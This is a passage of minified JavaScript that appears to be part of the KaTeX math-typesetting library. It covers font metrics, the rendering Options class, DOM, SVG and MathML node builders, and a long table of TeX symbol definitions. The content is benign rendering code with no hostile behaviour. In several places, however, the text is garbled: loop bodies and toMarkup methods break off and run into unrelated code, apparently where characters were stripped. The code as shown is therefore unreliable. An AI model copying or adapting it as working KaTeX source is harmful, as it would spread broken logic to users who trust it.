,.525],713:[0,.56555,0,0,.525],714:[0,.61111,0,0,.525],715:[0,.61111,0,0,.525],728:[0,.61111,0,0,.525],730:[0,.61111,0,0,.525],770:[0,.61111,0,0,.525],771:[0,.61111,0,0,.525],776:[0,.61111,0,0,.525],915:[0,.61111,0,0,.525],916:[0,.61111,0,0,.525],920:[0,.61111,0,0,.525],923:[0,.61111,0,0,.525],926:[0,.61111,0,0,.525],928:[0,.61111,0,0,.525],931:[0,.61111,0,0,.525],933:[0,.61111,0,0,.525],934:[0,.61111,0,0,.525],936:[0,.61111,0,0,.525],937:[0,.61111,0,0,.525],8216:[0,.61111,0,0,.525],8217:[0,.61111,0,0,.525],8242:[0,.61111,0,0,.525],9251:[.11111,.21944,0,0,.525]}},o3={slant:[.25,.25,.25],space:[0,0,0],stretch:[0,0,0],shrink:[0,0,0],xHeight:[.431,.431,.431],quad:[1,1.171,1.472],extraSpace:[0,0,0],num1:[.677,.732,.925],num2:[.394,.384,.387],num3:[.444,.471,.504],denom1:[.686,.752,1.025],denom2:[.345,.344,.532],sup1:[.413,.503,.504],sup2:[.363,.431,.404],sup3:[.289,.286,.294],sub1:[.15,.143,.2],sub2:[.247,.286,.4],supDrop:[.386,.353,.494],subDrop:[.05,.071,.1],delim1:[2.39,1.7,1.98],delim2:[1.01,1.157,1.42],axisHeight:[.25,.25,.25],defaultRuleThickness:[.04,.049,.049],bigOpSpacing1:[.111,.111,.111],bigOpSpacing2:[.166,.166,.166],bigOpSpacing3:[.2,.2,.2],bigOpSpacing4:[.6,.611,.611],bigOpSpacing5:[.1,.143,.143],sqrtRuleThickness:[.04,.04,.04],ptPerEm:[10,10,10],doubleRuleSep:[.2,.2,.2],arrayRuleWidth:[.04,.04,.04],fboxsep:[.3,.3,.3],fboxrule:[.04,.04,.04]},gV={\u00C5:"A",\u00D0:"D",\u00DE:"o",\u00E5:"a",\u00F0:"d",\u00FE:"o",\u0410:"A",\u0411:"B",\u0412:"B",\u0413:"F",\u0414:"A",\u0415:"E",\u0416:"K",\u0417:"3",\u0418:"N",\u0419:"N",\u041A:"K",\u041B:"N",\u041C:"M",\u041D:"H",\u041E:"O",\u041F:"N",\u0420:"P",\u0421:"C",\u0422:"T",\u0423:"y",\u0424:"O",\u0425:"X",\u0426:"U",\u0427:"h",\u0428:"W",\u0429:"W",\u042A:"B",\u042B:"X",\u042C:"B",\u042D:"3",\u042E:"X",\u042F:"R",\u0430:"a",\u0431:"b",\u0432:"a",\u0433:"r",\u0434:"y",\u0435:"e",\u0436:"m",\u0437:"e",\u0438:"n",\u0439:"n",\u043A:"n",\u043B:"n",\u043C:"m",\u043D:"n",\u043E:"o",\u043F:"n",\u0440:"p",\u0441:"c",\u0442:"o",\u0443:"y",\u0444:"b",\u0445:"x",\u0446:"n",\u0447:"n",\u0448:"w",\u0449:"w",\u044A:"a",\u044B:"m",\u044C:"a",\u044D:"e",\u044E:"m",\u044F:"r"};o(XV,"setFontMetrics");o(lA,"getCharacterMetrics");P7={};o(xTe,"getGlobalMetrics");bTe=[[1,1,1],[2,1,1],[3,1,1],[4,2,1],[5,2,1],[6,3,1],[7,4,2],[8,6,3],[9,7,6],[10,8,7],[11,10,9]],yV=[.5,.6,.7,.8,.9,1,1.2,1.44,1.728,2.074,2.488],vV=o(function(e,r){return r.size<2?e:bTe[e-1][r.size-1]},"sizeAtStyle"),b3=class t{static{o(this,"Options")}constructor(e){this.style=void 0,this.color=void 0,this.size=void 0,this.textSize=void 0,this.phantom=void 0,this.font=void 0,this.fontFamily=void 0,this.fontWeight=void 0,this.fontShape=void 0,this.sizeMultiplier=void 0,this.maxSize=void 0,this.minRuleThickness=void 0,this._fontMetrics=void 0,this.style=e.style,this.color=e.color,this.size=e.size||t.BASESIZE,this.textSize=e.textSize||this.size,this.phantom=!!e.phantom,this.font=e.font||"",this.fontFamily=e.fontFamily||"",this.fontWeight=e.fontWeight||"",this.fontShape=e.fontShape||"",this.sizeMultiplier=yV[this.size-1],this.maxSize=e.maxSize,this.minRuleThickness=e.minRuleThickness,this._fontMetrics=void 0}extend(e){var r={style:this.style,size:this.size,textSize:this.textSize,color:this.color,phantom:this.phantom,font:this.font,fontFamily:this.fontFamily,fontWeight:this.fontWeight,fontShape:this.fontShape,maxSize:this.maxSize,minRuleThickness:this.minRuleThickness};for(var n in e)e.hasOwnProperty(n)&&(r[n]=e[n]);return new t(r)}havingStyle(e){return this.style===e?this:this.extend({style:e,size:vV(this.textSize,e)})}havingCrampedStyle(){return this.havingStyle(this.style.cramp())}havingSize(e){return this.size===e&&this.textSize===e?this:this.extend({style:this.style.text(),size:e,textSize:e,sizeMultiplier:yV[e-1]})}havingBaseStyle(e){e=e||this.style.text();var r=vV(t.BASESIZE,e);return this.size===r&&this.textSize===t.BASESIZE&&this.style===e?this:this.extend({style:e,size:r})}havingBaseSizing(){var e;switch(this.style.id){case 4:case 5:e=3;break;case 6:case 7:e=1;break;default:e=6}return this.extend({style:this.style.text(),size:e})}withColor(e){return this.extend({color:e})}withPhantom(){return this.extend({phantom:!0})}withFont(e){return this.extend({font:e})}withTextFontFamily(e){return this.extend({fontFamily:e,font:""})}withTextFontWeight(e){return this.extend({fontWeight:e,font:""})}withTextFontShape(e){return this.extend({fontShape:e,font:""})}sizingClasses(e){return e.size!==this.size?["sizing","reset-size"+e.size,"size"+this.size]:[]}baseSizingClasses(){return this.size!==t.BASESIZE?["sizing","reset-size"+this.size,"size"+t.BASESIZE]:[]}fontMetrics(){return this._fontMetrics||(this._fontMetrics=xTe(this.size)),this._fontMetrics}getColor(){return this.phantom?"transparent":this.color}};b3.BASESIZE=6;K7={pt:1,mm:7227/2540,cm:7227/254,in:72.27,bp:803/800,pc:12,dd:1238/1157,cc:14856/1157,nd:685/642,nc:1370/107,sp:1/65536,px:803/800},TTe={ex:!0,em:!0,mu:!0},jV=o(function(e){return typeof e!="string"&&(e=e.unit),e in K7||e in TTe||e==="ex"},"validUnit"),ii=o(function(e,r){var n;if(e.unit in K7)n=K7[e.unit]/r.fontMetrics().ptPerEm/r.sizeMultiplier;else if(e.unit==="mu")n=r.fontMetrics().cssEmPerMu;else{var i;if(r.style.isTight()?i=r.havingStyle(r.style.text()):i=r,e.unit==="ex")n=i.fontMetrics().xHeight;else if(e.unit==="em")n=i.fontMetrics().quad;else throw new gt("Invalid unit: '"+e.unit+"'");i!==r&&(n*=i.sizeMultiplier/r.sizeMultiplier)}return Math.min(e.number*n,r.maxSize)},"calculateSize"),St=o(function(e){return+e.toFixed(4)+"em"},"makeEm"),bh=o(function(e){return e.filter(r=>r).join(" ")},"createClass"),KV=o(function(e,r,n){if(this.classes=e||[],this.attributes={},this.height=0,this.depth=0,this.maxFontSize=0,this.style=n||{},r){r.style.isTight()&&this.classes.push("mtight");var i=r.getColor();i&&(this.style.color=i)}},"initNode"),QV=o(function(e){var r=document.createElement(e);r.className=bh(this.classes);for(var n in this.style)this.style.hasOwnProperty(n)&&(r.style[n]=this.style[n]);for(var i in this.attributes)this.attributes.hasOwnProperty(i)&&r.setAttribute(i,this.attributes[i]);for(var a=0;a/=\x00-\x1f]/,ZV=o(function(e){var r="<"+e;this.classes.length&&(r+=' class="'+er.escape(bh(this.classes))+'"');var n="";for(var i in this.style)this.style.hasOwnProperty(i)&&(n+=er.hyphenate(i)+":"+this.style[i]+";");n&&(r+=' style="'+er.escape(n)+'"');for(var a in this.attributes)if(this.attributes.hasOwnProperty(a)){if(wTe.test(a))throw new gt("Invalid attribute name '"+a+"'");r+=" "+a+'="'+er.escape(this.attributes[a])+'"'}r+=">";for(var s=0;s",r},"toMarkup"),fd=class{static{o(this,"Span")}constructor(e,r,n,i){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.width=void 0,this.maxFontSize=void 0,this.style=void 0,KV.call(this,e,n,i),this.children=r||[]}setAttribute(e,r){this.attributes[e]=r}hasClass(e){return er.contains(this.classes,e)}toNode(){return QV.call(this,"span")}toMarkup(){return ZV.call(this,"span")}},Ky=class{static{o(this,"Anchor")}constructor(e,r,n,i){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,KV.call(this,r,i),this.children=n||[],this.setAttribute("href",e)}setAttribute(e,r){this.attributes[e]=r}hasClass(e){return er.contains(this.classes,e)}toNode(){return QV.call(this,"a")}toMarkup(){return ZV.call(this,"a")}},Q7=class{static{o(this,"Img")}constructor(e,r,n){this.src=void 0,this.alt=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.alt=r,this.src=e,this.classes=["mord"],this.style=n}hasClass(e){return er.contains(this.classes,e)}toNode(){var e=document.createElement("img");e.src=this.src,e.alt=this.alt,e.className="mord";for(var r in this.style)this.style.hasOwnProperty(r)&&(e.style[r]=this.style[r]);return e}toMarkup(){var e=''+er.escape(this.alt)+'0&&(r=document.createElement("span"),r.style.marginRight=St(this.italic)),this.classes.length>0&&(r=r||document.createElement("span"),r.className=bh(this.classes));for(var n in this.style)this.style.hasOwnProperty(n)&&(r=r||document.createElement("span"),r.style[n]=this.style[n]);return r?(r.appendChild(e),r):e}toMarkup(){var e=!1,r="0&&(n+="margin-right:"+this.italic+"em;");for(var i in this.style)this.style.hasOwnProperty(i)&&(n+=er.hyphenate(i)+":"+this.style[i]+";");n&&(e=!0,r+=' style="'+er.escape(n)+'"');var a=er.escape(this.text);return e?(r+=">",r+=a,r+="",r):a}},dl=class{static{o(this,"SvgNode")}constructor(e,r){this.children=void 0,this.attributes=void 0,this.children=e||[],this.attributes=r||{}}toNode(){var e="http://www.w3.org/2000/svg",r=document.createElementNS(e,"svg");for(var n in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,n)&&r.setAttribute(n,this.attributes[n]);for(var i=0;i':''}},Qy=class{static{o(this,"LineNode")}constructor(e){this.attributes=void 0,this.attributes=e||{}}toNode(){var e="http://www.w3.org/2000/svg",r=document.createElementNS(e,"line");for(var n in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,n)&&r.setAttribute(n,this.attributes[n]);return r}toMarkup(){var e="","\\gt",!0);V(H,ie,Ee,"\u2208","\\in",!0);V(H,ie,Ee,"\uE020","\\@not");V(H,ie,Ee,"\u2282","\\subset",!0);V(H,ie,Ee,"\u2283","\\supset",!0);V(H,ie,Ee,"\u2286","\\subseteq",!0);V(H,ie,Ee,"\u2287","\\supseteq",!0);V(H,we,Ee,"\u2288","\\nsubseteq",!0);V(H,we,Ee,"\u2289","\\nsupseteq",!0);V(H,ie,Ee,"\u22A8","\\models");V(H,ie,Ee,"\u2190","\\leftarrow",!0);V(H,ie,Ee,"\u2264","\\le");V(H,ie,Ee,"\u2264","\\leq",!0);V(H,ie,Ee,"<","\\lt",!0);V(H,ie,Ee,"\u2192","\\rightarrow",!0);V(H,ie,Ee,"\u2192","\\to");V(H,we,Ee,"\u2271","\\ngeq",!0);V(H,we,Ee,"\u2270","\\nleq",!0);V(H,ie,mu,"\xA0","\\ ");V(H,ie,mu,"\xA0","\\space");V(H,ie,mu,"\xA0","\\nobreakspace");V(ct,ie,mu,"\xA0","\\ ");V(ct,ie,mu,"\xA0"," ");V(ct,ie,mu,"\xA0","\\space");V(ct,ie,mu,"\xA0","\\nobreakspace");V(H,ie,mu,null,"\\nobreak");V(H,ie,mu,null,"\\allowbreak");V(H,ie,A3,",",",");V(H,ie,A3,";",";");V(H,we,Ot,"\u22BC","\\barwedge",!0);V(H,we,Ot,"\u22BB","\\veebar",!0);V(H,ie,Ot,"\u2299","\\odot",!0);V(H,ie,Ot,"\u2295","\\oplus",!0);V(H,ie,Ot,"\u2297","\\otimes",!0);V(H,ie,De,"\u2202","\\partial",!0);V(H,ie,Ot,"\u2298","\\oslash",!0);V(H,we,Ot,"\u229A","\\circledcirc",!0);V(H,we,Ot,"\u22A1","\\boxdot",!0);V(H,ie,Ot,"\u25B3","\\bigtriangleup");V(H,ie,Ot,"\u25BD","\\bigtriangledown");V(H,ie,Ot,"\u2020","\\dagger");V(H,ie,Ot,"\u22C4","\\diamond");V(H,ie,Ot,"\u22C6","\\star");V(H,ie,Ot,"\u25C3","\\triangleleft");V(H,ie,Ot,"\u25B9","\\triangleright");V(H,ie,ro,"{","\\{");V(ct,ie,De,"{","\\{");V(ct,ie,De,"{","\\textbraceleft");V(H,ie,rs,"}","\\}");V(ct,ie,De,"}","\\}");V(ct,ie,De,"}","\\textbraceright");V(H,ie,ro,"{","\\lbrace");V(H,ie,rs,"}","\\rbrace");V(H,ie,ro,"[","\\lbrack",!0);V(ct,ie,De,"[","\\lbrack",!0);V(H,ie,rs,"]","\\rbrack",!0);V(ct,ie,De,"]","\\rbrack",!0);V(H,ie,ro,"(","\\lparen",!0);V(H,ie,rs,")","\\rparen",!0);V(ct,ie,De,"<","\\textless",!0);V(ct,ie,De,">","\\textgreater",!0);V(H,ie,ro,"\u230A","\\lfloor",!0);V(H,ie,rs,"\u230B","\\rfloor",!0);V(H,ie,ro,"\u2308","\\lceil",!0);V(H,ie,rs,"\u2309","\\rceil",!0);V(H,ie,De,"\\","\\backslash");V(H,ie,De,"\u2223","|");V(H,ie,De,"\u2223","\\vert");V(ct,ie,De,"|","\\textbar",!0);V(H,ie,De,"\u2225","\\|");V(H,ie,De,"\u2225","\\Vert");V(ct,ie,De,"\u2225","\\textbardbl");V(ct,ie,De,"~","\\textasciitilde");V(ct,ie,De,"\\","\\textbackslash");V(ct,ie,De,"^","\\textasciicircum");V(H,ie,Ee,"\u2191","\\uparrow",!0);V(H,ie,Ee,"\u21D1","\\Uparrow",!0);V(H,ie,Ee,"\u2193","\\downarrow",!0);V(H,ie,Ee,"\u21D3","\\Downarrow",!0);V(H,ie,Ee,"\u2195","\\updownarrow",!0);V(H,ie,Ee,"\u21D5","\\Updownarrow",!0);V(H,ie,ki,"\u2210","\\coprod");V(H,ie,ki,"\u22C1","\\bigvee");V(H,ie,ki,"\u22C0","\\bigwedge");V(H,ie,ki,"\u2A04","\\biguplus");V(H,ie,ki,"\u22C2","\\bigcap");V(H,ie,ki,"\u22C3","\\bigcup");V(H,ie,ki,"\u222B","\\int");V(H,ie,ki,"\u222B","\\intop");V(H,ie,ki,"\u222C","\\iint");V(H,ie,ki,"\u222D","\\iiint");V(H,ie,ki,"\u220F","\\prod");V(H,ie,ki,"\u2211","\\sum");V(H,ie,ki,"\u2A02","\\bigotimes");V(H,ie,ki,"\u2A01","\\bigoplus");V(H,ie,ki,"\u2A00","\\bigodot");V(H,ie,ki,"\u222E","\\oint");V(H,ie,ki,"\u222F","\\oiint");V(H,ie,ki,"\u2230","\\oiiint");V(H,ie,ki,"\u2A06","\\bigsqcup");V(H,ie,ki,"\u222B","\\smallint");V(ct,ie,S0,"\u2026","\\textellipsis");V(H,ie,S0,"\u2026","\\mathellipsis");V(ct,ie,S0,"\u2026","\\ldots",!0);V(H,ie,S0,"\u2026","\\ldots",!0);V(H,ie,S0,"\u22EF","\\@cdots",!0);V(H,ie,S0,"\u22F1","\\ddots",!0);V(H,ie,De,"\u22EE","\\varvdots");V(ct,ie,De,"\u22EE","\\varvdots");V(H,ie,Wn,"\u02CA","\\acute");V(H,ie,Wn,"\u02CB","\\grave");V(H,ie,Wn,"\xA8","\\ddot");V(H,ie,Wn,"~","\\tilde");V(H,ie,Wn,"\u02C9","\\bar");V(H,ie,Wn,"\u02D8","\\breve");V(H,ie,Wn,"\u02C7","\\check");V(H,ie,Wn,"^","\\hat");V(H,ie,Wn,"\u20D7","\\vec");V(H,ie,Wn,"\u02D9","\\dot");V(H,ie,Wn,"\u02DA","\\mathring");V(H,ie,rr,"\uE131","\\@imath");V(H,ie,rr,"\uE237","\\@jmath");V(H,ie,De,"\u0131","\u0131");V(H,ie,De,"\u0237","\u0237");V(ct,ie,De,"\u0131","\\i",!0);V(ct,ie,De,"\u0237","\\j",!0);V(ct,ie,De,"\xDF","\\ss",!0);V(ct,ie,De,"\xE6","\\ae",!0);V(ct,ie,De,"\u0153","\\oe",!0);V(ct,ie,De,"\xF8","\\o",!0);V(ct,ie,De,"\xC6","\\AE",!0);V(ct,ie,De,"\u0152","\\OE",!0);V(ct,ie,De,"\xD8","\\O",!0);V(ct,ie,Wn,"\u02CA","\\'");V(ct,ie,Wn,"\u02CB","\\`");V(ct,ie,Wn,"\u02C6","\\^");V(ct,ie,Wn,"\u02DC","\\~");V(ct,ie,Wn,"\u02C9","\\=");V(ct,ie,Wn,"\u02D8","\\u");V(ct,ie,Wn,"\u02D9","\\.");V(ct,ie,Wn,"\xB8","\\c");V(ct,ie,Wn,"\u02DA","\\r");V(ct,ie,Wn,"\u02C7","\\v");V(ct,ie,Wn,"\xA8",'\\"');V(ct,ie,Wn,"\u02DD","\\H");V(ct,ie,Wn,"\u25EF","\\textcircled");JV={"--":!0,"---":!0,"``":!0,"''":!0};V(ct,ie,De,"\u2013","--",!0);V(ct,ie,De,"\u2013","\\textendash");V(ct,ie,De,"\u2014","---",!0);V(ct,ie,De,"\u2014","\\textemdash");V(ct,ie,De,"\u2018","`",!0);V(ct,ie,De,"\u2018","\\textquoteleft");V(ct,ie,De,"\u2019","'",!0);V(ct,ie,De,"\u2019","\\textquoteright");V(ct,ie,De,"\u201C","``",!0);V(ct,ie,De,"\u201C","\\textquotedblleft");V(ct,ie,De,"\u201D","''",!0);V(ct,ie,De,"\u201D","\\textquotedblright");V(H,ie,De,"\xB0","\\degree",!0);V(ct,ie,De,"\xB0","\\degree");V(ct,ie,De,"\xB0","\\textdegree",!0);V(H,ie,De,"\xA3","\\pounds");V(H,ie,De,"\xA3","\\mathsterling",!0);V(ct,ie,De,"\xA3","\\pounds");V(ct,ie,De,"\xA3","\\textsterling",!0);V(H,we,De,"\u2720","\\maltese");V(ct,we,De,"\u2720","\\maltese");bV='0123456789/@."';for(l3=0;l30)return fl(a,h,i,r,s.concat(f));if(u){var d,p;if(u==="boldsymbol"){var m=DTe(a,i,r,s,n);d=m.fontName,p=[m.fontClass]}else l?(d=rU[u].fontName,p=[u]):(d=d3(u,r.fontWeight,r.fontShape),p=[u,r.fontWeight,r.fontShape]);if(_3(a,d,i).metrics)return fl(a,d,i,r,s.concat(p));if(JV.hasOwnProperty(a)&&d.slice(0,10)==="Typewriter"){for(var g=[],y=0;y{if(bh(t.classes)!==bh(e.classes)||t.skew!==e.skew||t.maxFontSize!==e.maxFontSize)return!1;if(t.classes.length===1){var r=t.classes[0];if(r==="mbin"||r==="mord")return!1}for(var n in t.style)if(t.style.hasOwnProperty(n)&&t.style[n]!==e.style[n])return!1;for(var i in e.style)if(e.style.hasOwnProperty(i)&&t.style[i]!==e.style[i])return!1;return!0},"canCombine"),NTe=o(t=>{for(var e=0;er&&(r=s.height),s.depth>n&&(n=s.depth),s.maxFontSize>i&&(i=s.maxFontSize)}e.height=r,e.depth=n,e.maxFontSize=i},"sizeElementFromChildren"),Ss=o(function(e,r,n,i){var a=new fd(e,r,n,i);return cA(a),a},"makeSpan"),eU=o((t,e,r,n)=>new fd(t,e,r,n),"makeSvgSpan"),MTe=o(function(e,r,n){var i=Ss([e],[],r);return i.height=Math.max(n||r.fontMetrics().defaultRuleThickness,r.minRuleThickness),i.style.borderBottomWidth=St(i.height),i.maxFontSize=1,i},"makeLineSpan"),ITe=o(function(e,r,n,i){var a=new Ky(e,r,n,i);return cA(a),a},"makeAnchor"),tU=o(function(e){var r=new hd(e);return cA(r),r},"makeFragment"),OTe=o(function(e,r){return e instanceof hd?Ss([],[e],r):e},"wrapFragment"),PTe=o(function(e){if(e.positionType==="individualShift"){for(var r=e.children,n=[r[0]],i=-r[0].shift-r[0].elem.depth,a=i,s=1;s{var r=Ss(["mspace"],[],e),n=ii(t,e);return r.style.marginRight=St(n),r},"makeGlue"),d3=o(function(e,r,n){var i="";switch(e){case"amsrm":i="AMS";break;case"textrm":i="Main";break;case"textsf":i="SansSerif";break;case"texttt":i="Typewriter";break;default:i=e}var a;return r==="textbf"&&n==="textit"?a="BoldItalic":r==="textbf"?a="Bold":r==="textit"?a="Italic":a="Regular",i+"-"+a},"retrieveTextFontName"),rU={mathbf:{variant:"bold",fontName:"Main-Bold"},mathrm:{variant:"normal",fontName:"Main-Regular"},textit:{variant:"italic",fontName:"Main-Italic"},mathit:{variant:"italic",fontName:"Main-Italic"},mathnormal:{variant:"italic",fontName:"Math-Italic"},mathsfit:{variant:"sans-serif-italic",fontName:"SansSerif-Italic"},mathbb:{variant:"double-struck",fontName:"AMS-Regular"},mathcal:{variant:"script",fontName:"Caligraphic-Regular"},mathfrak:{variant:"fraktur",fontName:"Fraktur-Regular"},mathscr:{variant:"script",fontName:"Script-Regular"},mathsf:{variant:"sans-serif",fontName:"SansSerif-Regular"},mathtt:{variant:"monospace",fontName:"Typewriter-Regular"}},nU={vec:["vec",.471,.714],oiintSize1:["oiintSize1",.957,.499],oiintSize2:["oiintSize2",1.472,.659],oiiintSize1:["oiiintSize1",1.304,.499],oiiintSize2:["oiiintSize2",1.98,.659]},$Te=o(function(e,r){var[n,i,a]=nU[e],s=new Zl(n),l=new dl([s],{width:St(i),height:St(a),style:"width:"+St(i),viewBox:"0 0 "+1e3*i+" "+1e3*a,preserveAspectRatio:"xMinYMin"}),u=eU(["overlay"],[l],r);return u.height=a,u.style.height=St(a),u.style.width=St(i),u},"staticSvg"),$e={fontMap:rU,makeSymbol:fl,mathsym:_Te,makeSpan:Ss,makeSvgSpan:eU,makeLineSpan:MTe,makeAnchor:ITe,makeFragment:tU,wrapFragment:OTe,makeVList:BTe,makeOrd:LTe,makeGlue:FTe,staticSvg:$Te,svgData:nU,tryCombineChars:NTe},ni={number:3,unit:"mu"},ud={number:4,unit:"mu"},uu={number:5,unit:"mu"},zTe={mord:{mop:ni,mbin:ud,mrel:uu,minner:ni},mop:{mord:ni,mop:ni,mrel:uu,minner:ni},mbin:{mord:ud,mop:ud,mopen:ud,minner:ud},mrel:{mord:uu,mop:uu,mopen:uu,minner:uu},mopen:{},mclose:{mop:ni,mbin:ud,mrel:uu,minner:ni},mpunct:{mord:ni,mop:ni,mrel:uu,mopen:ni,mclose:ni,mpunct:ni,minner:ni},minner:{mord:ni,mop:ni,mbin:ud,mrel:uu,mopen:ni,mpunct:ni,minner:ni}},GTe={mord:{mop:ni},mop:{mord:ni,mop:ni},mbin:{},mrel:{},mopen:{},mclose:{mop:ni},mpunct:{},minner:{mop:ni}},iU={},w3={},k3={};o(Mt,"defineFunction");o(dd,"defineFunctionBuilders");E3=o(function(e){return e.type==="ordgroup"&&e.body.length===1?e.body[0]:e},"normalizeArgument"),gi=o(function(e){return e.type==="ordgroup"?e.body:[e]},"ordargument"),du=$e.makeSpan,VTe=["leftmost","mbin","mopen","mrel","mop","mpunct"],UTe=["rightmost","mrel","mclose","mpunct"],HTe={display:nr.DISPLAY,text:nr.TEXT,script:nr.SCRIPT,scriptscript:nr.SCRIPTSCRIPT},qTe={mord:"mord",mop:"mop",mbin:"mbin",mrel:"mrel",mopen:"mopen",mclose:"mclose",mpunct:"mpunct",minner:"minner"},Ii=o(function(e,r,n,i){i===void 0&&(i=[null,null]);for(var a=[],s=0;s{var v=y.classes[0],x=g.classes[0];v==="mbin"&&er.contains(UTe,x)?y.classes[0]="mord":x==="mbin"&&er.contains(VTe,v)&&(g.classes[0]="mord")},{node:d},p,m),kV(a,(g,y)=>{var v=J7(y),x=J7(g),b=v&&x?g.hasClass("mtight")?GTe[v][x]:zTe[v][x]:null;if(b)return $e.makeGlue(b,h)},{node:d},p,m),a},"buildExpression"),kV=o(function t(e,r,n,i,a){i&&e.push(i);for(var s=0;sp=>{e.splice(d+1,0,p),s++})(s)}i&&e.pop()},"traverseNonSpaceNodes"),aU=o(function(e){return e instanceof hd||e instanceof Ky||e instanceof fd&&e.hasClass("enclosing")?e:null},"checkPartialGroup"),WTe=o(function t(e,r){var n=aU(e);if(n){var i=n.children;if(i.length){if(r==="right")return t(i[i.length-1],"right");if(r==="left")return t(i[0],"left")}}return e},"getOutermostNode"),J7=o(function(e,r){return e?(r&&(e=WTe(e,r)),qTe[e.classes[0]]||null):null},"getTypeOfDomTree"),Zy=o(function(e,r){var n=["nulldelimiter"].concat(e.baseSizingClasses());return du(r.concat(n))},"makeNullDelimiter"),Hr=o(function(e,r,n){if(!e)return du();if(w3[e.type]){var i=w3[e.type](e,r);if(n&&r.size!==n.size){i=du(r.sizingClasses(n),[i],r);var a=r.sizeMultiplier/n.sizeMultiplier;i.height*=a,i.depth*=a}return i}else throw new gt("Got group of unknown type: '"+e.type+"'")},"buildGroup");o(p3,"buildHTMLUnbreakable");o(eA,"buildHTML");o(sU,"newDocumentFragment");es=class{static{o(this,"MathNode")}constructor(e,r,n){this.type=void 0,this.attributes=void 0,this.children=void 0,this.classes=void 0,this.type=e,this.attributes={},this.children=r||[],this.classes=n||[]}setAttribute(e,r){this.attributes[e]=r}getAttribute(e){return this.attributes[e]}toNode(){var e=document.createElementNS("http://www.w3.org/1998/Math/MathML",this.type);for(var r in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,r)&&e.setAttribute(r,this.attributes[r]);this.classes.length>0&&(e.className=bh(this.classes));for(var n=0;n0&&(e+=' class ="'+er.escape(bh(this.classes))+'"'),e+=">";for(var n=0;n",e}toText(){return this.children.map(e=>e.toText()).join("")}},_o=class{static{o(this,"TextNode")}constructor(e){this.text=void 0,this.text=e}toNode(){return document.createTextNode(this.text)}toMarkup(){return er.escape(this.toText())}toText(){return this.text}},tA=class{static{o(this,"SpaceNode")}constructor(e){this.width=void 0,this.character=void 0,this.width=e,e>=.05555&&e<=.05556?this.character="\u200A":e>=.1666&&e<=.1667?this.character="\u2009":e>=.2222&&e<=.2223?this.character="\u2005":e>=.2777&&e<=.2778?this.character="\u2005\u200A":e>=-.05556&&e<=-.05555?this.character="\u200A\u2063":e>=-.1667&&e<=-.1666?this.character="\u2009\u2063":e>=-.2223&&e<=-.2222?this.character="\u205F\u2063":e>=-.2778&&e<=-.2777?this.character="\u2005\u2063":this.character=null}toNode(){if(this.character)return document.createTextNode(this.character);var e=document.createElementNS("http://www.w3.org/1998/Math/MathML","mspace");return e.setAttribute("width",St(this.width)),e}toMarkup(){return this.character?""+this.character+"":''}toText(){return this.character?this.character:" "}},mt={MathNode:es,TextNode:_o,SpaceNode:tA,newDocumentFragment:sU},Lo=o(function(e,r,n){return Nn[r][e]&&Nn[r][e].replace&&e.charCodeAt(0)!==55349&&!(JV.hasOwnProperty(e)&&n&&(n.fontFamily&&n.fontFamily.slice(4,6)==="tt"||n.font&&n.font.slice(4,6)==="tt"))&&(e=Nn[r][e].replace),new mt.TextNode(e)},"makeText"),uA=o(function(e){return e.length===1?e[0]:new mt.MathNode("mrow",e)},"makeRow"),hA=o(function(e,r){if(r.fontFamily==="texttt")return"monospace";if(r.fontFamily==="textsf")return r.fontShape==="textit"&&r.fontWeight==="textbf"?"sans-serif-bold-italic":r.fontShape==="textit"?"sans-serif-italic":r.fontWeight==="textbf"?"bold-sans-serif":"sans-serif";if(r.fontShape==="textit"&&r.fontWeight==="textbf")return"bold-italic";if(r.fontShape==="textit")return"italic";if(r.fontWeight==="textbf")return"bold";var n=r.font;if(!n||n==="mathnormal")return null;var i=e.mode;if(n==="mathit")return"italic";if(n==="boldsymbol")return e.type==="textord"?"bold":"bold-italic";if(n==="mathbf")return"bold";if(n==="mathbb")return"double-struck";if(n==="mathsfit")return"sans-serif-italic";if(n==="mathfrak")return"fraktur";if(n==="mathscr"||n==="mathcal")return"script";if(n==="mathsf")return"sans-serif";if(n==="mathtt")return"monospace";var a=e.text;if(er.contains(["\\imath","\\jmath"],a))return null;Nn[i][a]&&Nn[i][a].replace&&(a=Nn[i][a].replace);var s=$e.fontMap[n].fontName;return lA(a,s,i)?$e.fontMap[n].variant:null},"getVariant");o($7,"isNumberPunctuation");As=o(function(e,r,n){if(e.length===1){var i=wn(e[0],r);return n&&i instanceof es&&i.type==="mo"&&(i.setAttribute("lspace","0em"),i.setAttribute("rspace","0em")),[i]}for(var a=[],s,l=0;l=1&&(s.type==="mn"||$7(s))){var h=u.children[0];h instanceof es&&h.type==="mn"&&(h.children=[...s.children,...h.children],a.pop())}else if(s.type==="mi"&&s.children.length===1){var f=s.children[0];if(f instanceof _o&&f.text==="\u0338"&&(u.type==="mo"||u.type==="mi"||u.type==="mn")){var d=u.children[0];d instanceof _o&&d.text.length>0&&(d.text=d.text.slice(0,1)+"\u0338"+d.text.slice(1),a.pop())}}}a.push(u),s=u}return a},"buildExpression"),Th=o(function(e,r,n){return uA(As(e,r,n))},"buildExpressionRow"),wn=o(function(e,r){if(!e)return new mt.MathNode("mrow");if(k3[e.type]){var n=k3[e.type](e,r);return n}else throw new gt("Got group of unknown type: '"+e.type+"'")},"buildGroup");o(EV,"buildMathML");oU=o(function(e){return new b3({style:e.displayMode?nr.DISPLAY:nr.TEXT,maxSize:e.maxSize,minRuleThickness:e.minRuleThickness})},"optionsFromSettings"),lU=o(function(e,r){if(r.displayMode){var n=["katex-display"];r.leqno&&n.push("leqno"),r.fleqn&&n.push("fleqn"),e=$e.makeSpan(n,[e])}return e},"displayWrap"),YTe=o(function(e,r,n){var i=oU(n),a;if(n.output==="mathml")return EV(e,r,i,n.displayMode,!0);if(n.output==="html"){var s=eA(e,i);a=$e.makeSpan(["katex"],[s])}else{var l=EV(e,r,i,n.displayMode,!1),u=eA(e,i);a=$e.makeSpan(["katex"],[l,u])}return lU(a,n)},"buildTree"),XTe=o(function(e,r,n){var i=oU(n),a=eA(e,i),s=$e.makeSpan(["katex"],[a]);return 